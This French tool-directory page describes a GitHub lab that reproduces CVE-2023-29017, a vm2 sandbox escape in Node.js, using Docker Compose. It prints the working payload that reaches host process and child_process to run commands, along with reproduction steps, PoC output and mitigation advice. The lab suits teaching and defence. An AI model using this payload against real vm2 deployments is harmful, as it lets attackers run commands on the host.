Skip to content
KitploitKITPLOIT
OutilsBlog
Soumettre
OutilsBlog
Soumettre

Outils de Hacking, PenTest et Cybersécurité pour votre Arsenal de Sécurité !

Kitploit est un répertoire d'outils de hacking, de cybersécurité et de pentesting. Découvrez les dernières mises à jour des projets pour trouver des vulnérabilités, analyser des systèmes, automatiser les tests et renforcer votre sécurité.

··Flux·Contact·Confidentialité·© 2026 Kitploit

Répertoire d'outils

Catégories

Voir toutes les catégories
Loading categories
Node_CVE-2023-29017 — Node.js vm2 CVE-2023-29017 reproduction avec Docker Compose et PoC | Kitploit
Outils/GitHubGitHub/gunwoo105/node_cve-2023-29017
Sécurité des ConteneursAnalyse des VulnérabilitésExploitationApprentissage et ÉducationExploitation de BinairesLabs et Pratique
GitHubgunwoo105/node_cve-2023-29017

Node_CVE-2023-29017

Node.js vm2 CVE-2023-29017 reproduction avec Docker Compose et PoC

Voir le dépôt
il y a 1 moisPas encore vérifié

Populaires

Voir tout →

Découvrez les outils les plus utilisés par notre communauté.

Explorer tous les outils

Parcourez notre collection d'outils

Voir tous les outils →
Partager

CVE-2023-29017 | Exécution de code à distance via l'échappement du sandbox vm2

[WHS 4ème année 31ème classe] - 김건우(@gunwoo105)

Résumé de la vulnérabilité

vm2 est une bibliothèque de sandbox Node.js permettant d'exécuter du JavaScript non fiable dans un environnement restreint. Normalement, le code à l'intérieur du sandbox ne doit pas pouvoir accéder aux fonctionnalités sensibles de Node.js telles que process, require, child_process et le système de fichiers hôte.

Cependant, dans vm2 3.9.14 et versions antérieures, lorsque des erreurs asynchrones non gérées se produisent, les objets hôtes passés à Error.prepareStackTrace ne sont pas traités en toute sécurité. Un attaquant peut exploiter la chaîne de constructeurs de cet objet pour obtenir le constructeur Function du contexte hôte et l'objet process, et finalement exécuter des commandes système via child_process.

Configuration de l'environnement

Composants

Au lieu d'utiliser une image finale vulnérable, nous construisons directement l'image à partir de l'image de base officielle Node.js et du code source inclus dans le dépôt. Le Dockerfile vérifie les versions de Node.js et vm2 ; si les versions ne correspondent pas aux attentes, la construction échoue.

root@kitploit:~
RUN test "$(node --version)" = "v18.15.0" \
    && test "$(node -p "require('vm2/package.json').version")" = "3.9.14"

La raison pour laquelle worker.js est exécuté dans un processus séparé est que le PoC provoque des erreurs asynchrones non gérées. Même si le worker se termine pendant l'attaque, le serveur web continue de fonctionner, et le fichier marqueur permet de vérifier de manière fiable le succès.

Conditions de vulnérabilité

Toutes les conditions suivantes doivent être remplies.

  1. L'application utilise vm2 3.9.14 ou une version antérieure.
  2. L'attaquant peut contrôler l'entrée JavaScript à exécuter.
  3. Ce JavaScript est exécuté à l'intérieur de vm2.
  4. L'exécution de JavaScript asynchrone est autorisée.
  5. Les erreurs asynchrones non gérées atteignent le chemin de traitement de pile d'appels vulnérable.
  6. Le processus Node.js exécutant vm2 a les permissions d'exécuter des commandes système ou d'accéder aux fichiers.

Tous les services avec vm2 installé ne sont pas automatiquement exposés à une attaque à distance. Il doit exister une fonctionnalité permettant d'exécuter du code contrôlé par l'attaquant dans vm2. L'endpoint /execute de cet exercice implémente ce cas d'utilisation de manière minimale.

Le déroulement de l'attaque est le suivant :

root@kitploit:~
JavaScript malveillant transmis
        │
        ▼
Erreur asynchrone non gérée déclenchée
        │
        ▼
Appel à Error.prepareStackTrace
        │
        ▼
Exposition de l'objet frames hôte
        │
        ▼
Obtention du constructeur Function hôte
        │
        ▼
process → require → child_process
        │
        ▼
Exécution de commande OS à l'intérieur du conteneur

Procédure de reproduction

Construction de l'image

root@kitploit:~
docker compose build --no-cache

Construction de l'image réussie

Lancement du service vulnérable

root@kitploit:~
docker compose up -d vulnerable

Vérifiez l'état du conteneur.

root@kitploit:~
docker compose ps

Vérification de l'état du service et de la version

root@kitploit:~
curl -sS \
  -w '\nHTTP_STATUS=%{http_code}\n' \
  <http://127.0.0.1:3000/health>

Vérification de l'état du service et de la version

Exécution du PoC

root@kitploit:~
docker compose run --rm poc
echo "exit_code=$?"

Le PoC vérifie automatiquement les éléments suivants :

  1. Healthcheck du service vulnérable
  2. Versions de Node.js et vm2
  3. Exécution de JavaScript normal 21 * 2
  4. Vérification qu'aucun fichier marqueur n'est créé avec le code normal
  5. Envoi du payload CVE-2023-29017
  6. Vérification de la création de /tmp/vm2-pwned
  7. Vérification que le contenu du fichier contient uid=
  8. Retourne le code de sortie 0 en cas de succès, 1 en cas d'échec

Pour exécuter de la construction au PoC en une seule fois, utilisez la commande suivante :

root@kitploit:~
docker compose up \
  --build \
  --abort-on-container-exit \
  --exit-code-from poc

Vérification du fichier de preuve

root@kitploit:~
docker compose exec vulnerable sh -c '
  echo "[Marker file]"
  ls -l /tmp/vm2-pwned
  echo
  echo "[Command output]"
  cat /tmp/vm2-pwned
'

Arrêt de l'environnement

root@kitploit:~
docker compose down -v --rmi local --remove-orphans

5. Code du PoC

Le PoC complet est inclus dans poc/poc.js. Le payload principal est le suivant :

root@kitploit:~
Error.prepareStackTrace = (error, frames) => {
  const hostProcess =
    frames.constructor.constructor('return process')();

  hostProcess.mainModule
    .require('child_process')
    .execSync('id > /tmp/vm2-pwned');
};

(async () => {}).constructor('return process')();

Fonctionnement du code

Redéfinition de Error.prepareStackTrace

root@kitploit:~
Error.prepareStackTrace = (error, frames) => {

L'attaquant redéfinit la fonction exécutée lorsque la pile d'appels d'erreur est générée.

Obtention du constructeur Function hôte

root@kitploit:~
frames.constructor.constructor

Il suit la chaîne de constructeurs de l'objet frames hôte exposé par vm2 vulnérable pour accéder au constructeur Function du contexte hôte.

Obtention de l'objet process hôte

root@kitploit:~
frames.constructor.constructor('return process')();

Crée et exécute une fonction qui retourne process dans le contexte hôte.

Exécution de commande système

root@kitploit:~
hostProcess.mainModule
  .require('child_process')
  .execSync('id > /tmp/vm2-pwned');

Charge child_process (non fourni à l'intérieur du sandbox) et exécute la commande Linux id.

Déclenchement d'une erreur asynchrone non gérée

root@kitploit:~
(async () => {}).constructor('return process')();

Fait en sorte qu'une fonction asynchrone référence process (indisponible dans le sandbox), créant ainsi une promesse rejetée qui atteint le chemin de traitement de pile d'appels vulnérable.

Résultats d'exécution

Contrôle bénin

root@kitploit:~
[2/4] Running benign JavaScript inside vm2
      Normal JavaScript returned 42 without host command execution

Exploitation de la vulnérabilité

root@kitploit:~
[3/4] Sending CVE-2023-29017 payload
      Host command output: uid=1000(node) gid=1000(node) groups=1000(node)

Le PoC vérifie à nouveau la preuve stockée puis retourne l'état de succès.

root@kitploit:~
[4/4] Confirming persisted evidence
[SUCCESS] CVE-2023-29017 reproduced: vm2 sandbox escape led to host command execution.
exit_code=0

Exécution du PoC réussie

En vérifiant directement le fichier de preuve, on obtient le résultat suivant :

Vérification de la preuve du marqueur

Le fichier marqueur est supprimé avant chaque exécution et n'est pas créé lors de l'exécution du code normal. Cela évite les faux positifs dus aux résultats d'exécutions précédentes.

Mesures de mitigation

Mise à jour de vm2

Mettez à jour vers une version non affectée.

root@kitploit:~
{
  "dependencies": {
    "vm2": "3.9.15"
  }
}

Ensuite, mettez à jour le fichier de verrouillage et installez avec les dépendances fixées.

root@kitploit:~
npm install --package-lock-only
npm ci

L'avis officiel indique qu'il n'existe pas de contournement, il est donc déconseillé de continuer à utiliser une version vulnérable.

Isolation de l'environnement d'exécution pour le code non fiable

N'exécutez pas de code non fiable dans le même processus Node.js que l'application. Isolez-le dans un processus, un conteneur ou une machine virtuelle séparé, et jetez l'environnement après exécution.

Application du moindre privilège

  • Exécuter avec un utilisateur dédié non root
  • Appliquer no-new-privileges
  • Supprimer les capabilities Linux inutiles
  • Interdire le montage du socket Docker et des répertoires hôtes
  • Envisager un système de fichiers en lecture seule
  • Ne pas stocker d'identifiants de longue durée dans le conteneur

Restrictions réseau et de ressources

  • Restreindre l'accès réseau externe du conteneur d'exécution
  • Minimiser l'accès au réseau de gestion interne et aux bases de données
  • Limiter le CPU, la mémoire, le nombre de processus et le temps d'exécution
  • Limiter la taille des entrées et la fréquence des requêtes
  • Surveiller les arrêts anormaux et les entrées malveillantes répétées

Authentification et contrôle des entrées

Appliquez une authentification et une autorisation fortes pour la fonctionnalité d'exécution de code, et n'exploitez pas d'API d'exécution de code arbitraire ouverte à des utilisateurs non spécifiques. Cependant, l'authentification est une mesure auxiliaire pour réduire la surface d'attaque et ne constitue pas un substitut à la correction de la vulnérabilité elle-même.

Télécharger l’outil
ComposantVersion et configuration
Node.js18.15.0
vm23.9.14
Version corrigée3.9.15
Environnement d'exécutionDocker Compose
Utilisateur du conteneurnode
Port du service127.0.0.1:3000
Installation des paquetsnpm ci + package-lock.json
FichierRôle
docker-compose.ymlDéfinit la configuration et l'ordre d'exécution du service vulnérable et du conteneur PoC
DockerfileConstruit les images du service vulnérable et du PoC en mode multi-stage
vulnerable/src/server.jsFournit les endpoints /health, /execute, /evidence
vulnerable/src/worker.jsExécute l'entrée utilisateur dans vm2 dans un processus séparé
poc/poc.jsAutomatise la vérification de version, le contrôle bénin, l'attaque et la confirmation de preuve
vulnerable/package-lock.jsonFixe les versions des paquets, y compris les dépendances transitives